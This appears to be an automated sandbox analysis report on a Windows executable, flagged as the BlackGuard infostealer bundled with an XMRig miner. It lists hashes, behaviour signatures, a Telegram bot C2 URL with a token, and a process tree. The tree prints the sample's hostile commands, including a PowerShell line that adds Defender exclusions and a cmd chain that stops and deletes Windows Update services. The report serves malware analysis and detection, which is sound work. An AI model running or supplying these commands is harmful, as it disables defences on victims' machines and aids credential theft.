Overview

overview

10

Static

static

3

9f3b062a0f...93.exe

windows7-x64

10

9f3b062a0f...93.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-12-2024 02:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193.exe

  • Size

    39.9MB

  • MD5

    796310542e9fb2886de3f8cbdf88c9fa

  • SHA1

    01dc8e64ff23db2f177e3d999c12329bfcd206d3

  • SHA256

    9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193

  • SHA512

    73295b9cfa07432b21d1f0d0bad360460f32d7e0170dc84406a35f4dfe2b1519fdc4028299f1075385ae4ab738be1e5bfffd7335c1038e2126669834e9a50966

  • SSDEEP

    786432:Y31/CaCJz7+GWl3LNCxuEnwFho+zM77UDZiZCd08jFZJAI5E70TZFHng:URCR6GWl3LMEXFhV0KAcNjxAItjg

Score
10/10
blackguardxmrigdiscoveryevasionexecutionminerpersistenceprivilege_escalationspywarestealerupx

Malware Config

Extracted

Family

blackguard

C2

https://api.telegram.org/bot6540906397:AAG08fPgT-V7I17vtz49STaZEuwqXqKshuM/sendMessage?chat_id=5445185021

Signatures

  • BlackGuard

    Infostealer first seen in Late 2021.

    stealerblackguard
  • Blackguard family
    blackguard
  • Modifies security service 2 TTPs 5 IoCs
    evasion
  • Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 4 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 48 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks for any installed AV software in registry 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 10 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Checks system information in the registry 2 TTPs 8 IoCs

    System information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 13 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 9 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3528
      • C:\Users\Admin\AppData\Local\Temp\9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193.exe
        "C:\Users\Admin\AppData\Local\Temp\9f3b062a0f8caf16be80ac44ade55a8b8e8928ef87ae909f5d6d52aa44208193.exe"
        2⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3224
        • C:\Users\Admin\AppData\Local\Temp\3.exe
          "C:\Users\Admin\AppData\Local\Temp\3.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:4112
        • C:\Users\Admin\AppData\Local\Temp\VegaStealer_v2.exe
          "C:\Users\Admin\AppData\Local\Temp\VegaStealer_v2.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:240
          • C:\Users\Admin\AppData\Local\Temp\v2.exe
            "C:\Users\Admin\AppData\Local\Temp\v2.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2520
        • C:\Users\Admin\AppData\Local\Temp\CheatEngine75.exe
          "C:\Users\Admin\AppData\Local\Temp\CheatEngine75.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Users\Admin\AppData\Local\Temp\is-H9IA9.tmp\CheatEngine75.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-H9IA9.tmp\CheatEngine75.tmp" /SL5="$D01E0,29079073,832512,C:\Users\Admin\AppData\Local\Temp\CheatEngine75.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Loads dropped DLL
            • Checks for any installed AV software in registry
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            PID:812
            • C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod0_extract\saBSI.exe
              "C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod0_extract\saBSI.exe" /affid 91082 PaidDistribution=true CountryCode=GB
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              PID:2688
              • C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod0_extract\installer.exe
                "C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod0_extract\\installer.exe" /setOem:Affid=91082 /s /thirdparty /upgrade
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                PID:4892
                • C:\Program Files\McAfee\Temp89992736\installer.exe
                  "C:\Program Files\McAfee\Temp89992736\installer.exe" /setOem:Affid=91082 /s /thirdparty /upgrade
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Drops file in Program Files directory
                  • Modifies registry class
                  PID:3276
            • C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod1_extract\OperaSetup.exe
              "C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod1_extract\OperaSetup.exe" --silent --allusers=0 --otd=utm.medium:apb,utm.source:ais,utm.campaign:opera_new_a
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4736
              • C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe
                C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe --silent --allusers=0 --otd=utm.medium:apb,utm.source:ais,utm.campaign:opera_new_a --server-tracking-blob=NDg5MmM0M2NiZmYxOTc2MjY3ZDE3MGIyMzA3NGYyODVjNDZhOGNmNjg5YTA1ZDg5NTRhNThiN2MxZWIzZDk4OTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijoib3BlcmEiLCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cyIsInRpbWVzdGFtcCI6IjE3MzUwMzgwMTIuNzc0NSIsInVzZXJhZ2VudCI6InB5dGhvbi1yZXF1ZXN0cy8yLjMyLjMiLCJ1dG0iOnt9LCJ1dWlkIjoiYWFmNjZmNDQtNWMyYy00ZmJmLTg0YmQtN2Y2OTE0MGY0MGRiIn0=
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Enumerates connected drives
                • System Location Discovery: System Language Discovery
                • Modifies system certificate store
                PID:4944
                • C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe
                  C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.119 --initial-client-data=0x31c,0x320,0x324,0x2f8,0x328,0x72e39d44,0x72e39d50,0x72e39d5c
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:4520
                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe
                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe" --version
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:416
                • C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe
                  "C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --showunbox=0 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=4944 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20241229023420" --session-guid=4d76786c-59cd-4825-8db6-4ea4ed8a9eed --server-tracking-blob="NGEwNTZiMGVmZmM1MmRlYjUzNmQyNjkwMGU1OTc5ODUyN2U4ZjAwYTBlNDQ0NTQ4ZTA2NDk3ODQ2MmNmNjI5NTp7ImNvdW50cnkiOiJVUyIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTczNTAzODAxMi43NzQ1IiwidXNlcmFnZW50IjoicHl0aG9uLXJlcXVlc3RzLzIuMzIuMyIsInV0bSI6eyJjYW1wYWlnbiI6Im9wZXJhX25ld19hIiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoiYWlzIn0sInV1aWQiOiJhYWY2NmY0NC01YzJjLTRmYmYtODRiZC03ZjY5MTQwZjQwZGIifQ== " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=DC05000000000000
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Enumerates connected drives
                  • System Location Discovery: System Language Discovery
                  PID:4988
                  • C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS082F8658\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=115.0.5322.119 --initial-client-data=0x328,0x32c,0x330,0x2f8,0x334,0x6cd39d44,0x6cd39d50,0x6cd39d5c
                    8⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:4328
                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412290234201\assistant\Assistant_114.0.5282.21_Setup.exe_sfx.exe
                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412290234201\assistant\Assistant_114.0.5282.21_Setup.exe_sfx.exe"
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5848
                • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412290234201\assistant\assistant_installer.exe
                  "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412290234201\assistant\assistant_installer.exe" --version
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:3000
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412290234201\assistant\assistant_installer.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412290234201\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=114.0.5282.21 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x8117a0,0x8117ac,0x8117b8
                    8⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:4832
            • C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod2_extract\RazerLightInstaller.exe
              "C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\prod2_extract\RazerLightInstaller.exe" /psh=GnjVZJc9KJ5um4ZP4qvNMxi6HVPYfTjXx4G6oPwHnSf4sJPI5A9WQkclZJ6vpnOk5eP7YCzVvOTvYGetaVT
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1104
              • C:\Users\Admin\AppData\Local\Temp\Razer Axon_240668875.exe
                "C:\Users\Admin\AppData\Local\Temp\Razer Axon_240668875.exe" /psh=GnjVZJc9KJ5um4ZP4qvNMxi6HVPYfTjXx4G6oPwHnSf4sJPI5A9WQkclZJ6vpnOk5eP7YCzVvOTvYGetaVT /SP- /VERYSILENT /SUPRESSMSGBOXES /NORESTART /psh=GnjVZJc9KJ5um4ZP4qvNMxi6HVPYfTjXx4G6oPwHnSf4sJPI5A9WQkclZJ6vpnOk5eP7YCzVvOTvYGetaVT
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4428
                • C:\Users\Admin\AppData\Local\Temp\is-9GHOF.tmp\Razer Axon_240668875.tmp
                  "C:\Users\Admin\AppData\Local\Temp\is-9GHOF.tmp\Razer Axon_240668875.tmp" /SL5="$5027A,203935122,1023488,C:\Users\Admin\AppData\Local\Temp\Razer Axon_240668875.exe" /psh=GnjVZJc9KJ5um4ZP4qvNMxi6HVPYfTjXx4G6oPwHnSf4sJPI5A9WQkclZJ6vpnOk5eP7YCzVvOTvYGetaVT /SP- /VERYSILENT /SUPRESSMSGBOXES /NORESTART /psh=GnjVZJc9KJ5um4ZP4qvNMxi6HVPYfTjXx4G6oPwHnSf4sJPI5A9WQkclZJ6vpnOk5eP7YCzVvOTvYGetaVT
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of FindShellTrayWindow
                  PID:3168
                  • C:\Users\Admin\AppData\Local\Temp\is-41N4F.tmp\RazerCentral_v7.16.0.695.exe
                    "C:\Users\Admin\AppData\Local\Temp\is-41N4F.tmp\RazerCentral_v7.16.0.695.exe" /S
                    8⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:5336
                    • C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
                      "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" /S __IRAOFF:2015578 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\is-41N4F.tmp\RazerCentral_v7.16.0.695.exe" "__IRCT:1" "__IRTSS:124411562" "__IRSID:S-1-5-21-2437139445-1151884604-3026847218-1000"
                      9⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Drops file in Program Files directory
                      • Drops file in Windows directory
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of SetWindowsHookEx
                      PID:5080
                  • C:\Program Files (x86)\Razer\Razer Axon\Manifest\AxonManifestRepair.exe
                    "C:\Program Files (x86)\Razer\Razer Axon\Manifest\AxonManifestRepair.exe" /silent /axon-ver=1.7.13.999 /axon-dir="C:\Program Files (x86)\Razer\Razer Axon" /manifest-dir=.\
                    8⤵
                    • Executes dropped EXE
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:6676
                  • C:\Program Files (x86)\Razer\Razer Axon\win32\RazerComponentsController.exe
                    "C:\Program Files (x86)\Razer\Razer Axon\win32\RazerComponentsController.exe" install natasha
                    8⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:6300
                  • C:\Program Files (x86)\Razer\Razer Axon\RazerAxonISReporter.exe
                    "C:\Program Files (x86)\Razer\Razer Axon\RazerAxonISReporter.exe" /silent /axon-ver=1.7.13.999 /psh=GnjVZJc9KJ5um4ZP4qvNMxi6HVPYfTjXx4G6oPwHnSf4sJPI5A9WQkclZJ6vpnOk5eP7YCzVvOTvYGetaVT /conv-type=install
                    8⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:6424
                  • C:\Windows\system32\SchTasks.exe
                    "SchTasks.exe" /Create /tn "AxonLaunchTask" /tr "\"C:\Program Files (x86)\Razer\Razer Axon\RazerAxon.exe\" -istask" /sc minute /mo 3 /DU 00:05 /f
                    8⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:6436
                  • C:\Program Files (x86)\Razer\Razer Axon\MicrosoftEdgeWebview2Setup.exe
                    "C:\Program Files (x86)\Razer\Razer Axon\MicrosoftEdgeWebview2Setup.exe" /silent /install
                    8⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • System Location Discovery: System Language Discovery
                    PID:6600
                    • C:\Program Files (x86)\Microsoft\Temp\EU4423.tmp\MicrosoftEdgeUpdate.exe
                      "C:\Program Files (x86)\Microsoft\Temp\EU4423.tmp\MicrosoftEdgeUpdate.exe" /silent /install "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers"
                      9⤵
                      • Event Triggered Execution: Image File Execution Options Injection
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Checks system information in the registry
                      • System Location Discovery: System Language Discovery
                      PID:5712
                      • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                        "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regsvc
                        10⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:4444
                      • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                        "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /regserver
                        10⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Modifies registry class
                        PID:2568
                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.167.21\MicrosoftEdgeUpdateComRegisterShell64.exe
                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.167.21\MicrosoftEdgeUpdateComRegisterShell64.exe"
                          11⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:3808
                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.167.21\MicrosoftEdgeUpdateComRegisterShell64.exe
                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.167.21\MicrosoftEdgeUpdateComRegisterShell64.exe"
                          11⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:4728
                        • C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.167.21\MicrosoftEdgeUpdateComRegisterShell64.exe
                          "C:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.167.21\MicrosoftEdgeUpdateComRegisterShell64.exe"
                          11⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:4336
                      • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                        "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xNjcuMjEiIHNoZWxsX3ZlcnNpb249IjEuMy4xNjcuMjEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MkY5RDAzODQtN0QwOC00M0E2LUFBQTctNzQ2RTJGQzk0RkVGfSIgdXNlcmlkPSJ7QTRGM0M0QzEtRTlBRS00OEVFLTlGQkItRTkxQUU4NUQyRDU5fSIgaW5zdGFsbHNvdXJjZT0ib3RoZXJpbnN0YWxsY21kIiByZXF1ZXN0aWQ9InsyQ0YwMjhGNC0xRTQ5LTQ0REMtQTA5OC0wNTlBNTJBOUQ2MDR9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IGxvZ2ljYWxfY3B1cz0iOCIgcGh5c21lbW9yeT0iOCIgZGlza190eXBlPSIyIiBzc2U9IjEiIHNzZTI9IjEiIHNzZTM9IjEiIHNzc2UzPSIxIiBzc2U0MT0iMSIgc3NlNDI9IjEiIGF2eD0iMSIvPjxvcyBwbGF0Zm9ybT0id2luIiB2ZXJzaW9uPSIxMC4wLjE5MDQxLjEyODgiIHNwPSIiIGFyY2g9Ing2NCIgcHJvZHVjdF90eXBlPSI0OCIgaXNfd2lwPSIwIi8-PG9lbSBwcm9kdWN0X21hbnVmYWN0dXJlcj0iIiBwcm9kdWN0X25hbWU9IiIvPjxleHAgZXRhZz0iIi8-PGFwcCBhcHBpZD0ie0YzQzRGRTAwLUVGRDUtNDAzQi05NTY5LTM5OEEyMEYxQkE0QX0iIHZlcnNpb249IjEuMy4xNDcuMzciIG5leHR2ZXJzaW9uPSIxLjMuMTY3LjIxIiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1ODcxMTg0OTM1IiBpbnN0YWxsX3RpbWVfbXM9IjYxMCIvPjwvYXBwPjwvcmVxdWVzdD4
                        10⤵
                        • Executes dropped EXE
                        • Checks system information in the registry
                        • System Location Discovery: System Language Discovery
                        • System Network Configuration Discovery: Internet Connection Discovery
                        PID:4976
                      • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
                        "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /handoff "appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&appname=Microsoft%20Edge%20Webview2%20Runtime&needsadmin=prefers" /installsource otherinstallcmd /sessionid "{2F9D0384-7D08-43A6-AAA7-746E2FC94FEF}" /silent
                        10⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:5776
            • C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\CheatEngine75.exe
              "C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\CheatEngine75.exe" /VERYSILENT /ZBDIST
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2224
              • C:\Users\Admin\AppData\Local\Temp\is-KA4UP.tmp\CheatEngine75.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-KA4UP.tmp\CheatEngine75.tmp" /SL5="$20204,26511452,832512,C:\Users\Admin\AppData\Local\Temp\is-3I2F8.tmp\CheatEngine75.exe" /VERYSILENT /ZBDIST
                6⤵
                • Drops file in Program Files directory
                • System Location Discovery: System Language Discovery
                • Suspicious use of FindShellTrayWindow
                PID:3436
                • C:\Windows\SYSTEM32\net.exe
                  "net" stop BadlionAntic
                  7⤵
                    PID:4188
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop BadlionAntic
                      8⤵
                        PID:3276
                    • C:\Windows\SYSTEM32\net.exe
                      "net" stop BadlionAnticheat
                      7⤵
                        PID:1444
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 stop BadlionAnticheat
                          8⤵
                            PID:4184
                        • C:\Windows\SYSTEM32\sc.exe
                          "sc" delete BadlionAntic
                          7⤵
                          • Launches sc.exe
                          PID:1252
                        • C:\Windows\SYSTEM32\sc.exe
                          "sc" delete BadlionAnticheat
                          7⤵
                          • Launches sc.exe
                          PID:520
                        • C:\Users\Admin\AppData\Local\Temp\is-NDKI5.tmp\_isetup\_setup64.tmp
                          helper 105 0x450
                          7⤵
                          • Executes dropped EXE
                          PID:752
                        • C:\Windows\system32\icacls.exe
                          "icacls" "C:\Program Files\Cheat Engine 7.5" /grant *S-1-15-2-1:(OI)(CI)(RX)
                          7⤵
                          • Modifies file permissions
                          PID:2620
                        • C:\Program Files\Cheat Engine 7.5\Kernelmoduleunloader.exe
                          "C:\Program Files\Cheat Engine 7.5\Kernelmoduleunloader.exe" /SETUP
                          7⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:1568
                        • C:\Program Files\Cheat Engine 7.5\windowsrepair.exe
                          "C:\Program Files\Cheat Engine 7.5\windowsrepair.exe" /s
                          7⤵
                          • Executes dropped EXE
                          PID:4624
                        • C:\Windows\system32\icacls.exe
                          "icacls" "C:\Program Files\Cheat Engine 7.5" /grant *S-1-15-2-1:(OI)(CI)(RX)
                          7⤵
                          • Modifies file permissions
                          PID:5752
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2384
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3952
                • C:\Windows\System32\sc.exe
                  sc stop UsoSvc
                  3⤵
                  • Launches sc.exe
                  PID:2148
                • C:\Windows\System32\sc.exe
                  sc stop WaaSMedicSvc
                  3⤵
                  • Launches sc.exe
                  PID:1388
                • C:\Windows\System32\sc.exe
                  sc stop wuauserv
                  3⤵
                  • Launches sc.exe
                  PID:1616
